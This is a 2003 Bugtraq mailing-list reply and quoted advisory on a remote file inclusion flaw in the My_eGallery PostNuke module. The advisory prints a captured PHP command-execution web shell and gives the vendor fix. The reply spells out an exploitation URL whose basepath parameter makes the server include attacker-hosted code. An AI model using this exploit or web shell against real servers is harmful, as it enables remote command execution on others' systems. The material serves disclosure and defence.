bugtraq - Re: Remote execution in My

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Message-ID: <3FC936DF.7050608@runbox.com>
Date: Sun, 30 Nov 2003 01:16:31 +0100
From: Fauvet Ludovic <etix@...box.com>
To: bugtraq@...urityfocus.com
Subject: Re: Remote execution in My_eGallery



Hi,
There is some php scrits which are vulnerables.
One of these is displayCategory.php .
So you just have to go to:
http://www.[vulnerable].com/modules/My_eGallery/public/displayCategory.php?basepath=http://[youwebsite].com
And create a directory "public" in the root of your website and put a 
file named imageFunctions.php with the code you want to inject.

-- 

/*-------------------
Best regards,
[::eTiX::]
(Fauvet Ludovic)
-------------------*/


Bojan Zdrnja wrote:

> Product: My_eGallery
> Versions affected: all <3.1.1.g
> Website: http://lottasophie.sourceforge.net/index.php
> 
> 1. Introduction
> ---------------
> 
> My_eGallery is a very nice PostNuke module, which allows users to create and
> manipulate their own galleries on the web, plus offers various additional
> features.
> For more information and a demonstration you can go to the Website above.
> 
> 2. Exploit
> ----------
> 
> Any version of My_eGallery, prior to 3.1.1.g, is susceptible to this
> vulnerability.
> 
> Certain php files have some parameters which are used in include functions
> not filtered.
> An intruder can craft PHP code on their Web site and supply parameter to
> My_eGallery so it actually includes malicious PHP code.
> 
> The following code was captured as being used in the wild (edited
> intentionally):
> 
> <?
>   // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
>   if (isset($chdir)) @chdir($chdir);
>   ob_start();
>   execute("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
>   $output = ob_get_contents();
>   ob_end_clean();
>   print_output();
> ?>
> 
> This allows execution of any command on the server with My_eGallery, under
> the privileges of the Web server (usually apache or httpd).
> 
> 
> 3. Solution
> -----------
> 
> Vendor was contacted and promptly replied. Fix is available at the vendor's
> site:
> 
> http://lottasophie.sourceforge.net/modules.php?op=modload&name=Downloads&fil
> e=index&req=viewdownload&cid=5
> 
> As this was seen being exploited in the wild, users are urged to upgrade to
> the latest version as soon as possible.
> 
> 
> 
> 
> Regards,
> 
> Bojan Zdrnja
> CISSP
> 
> 

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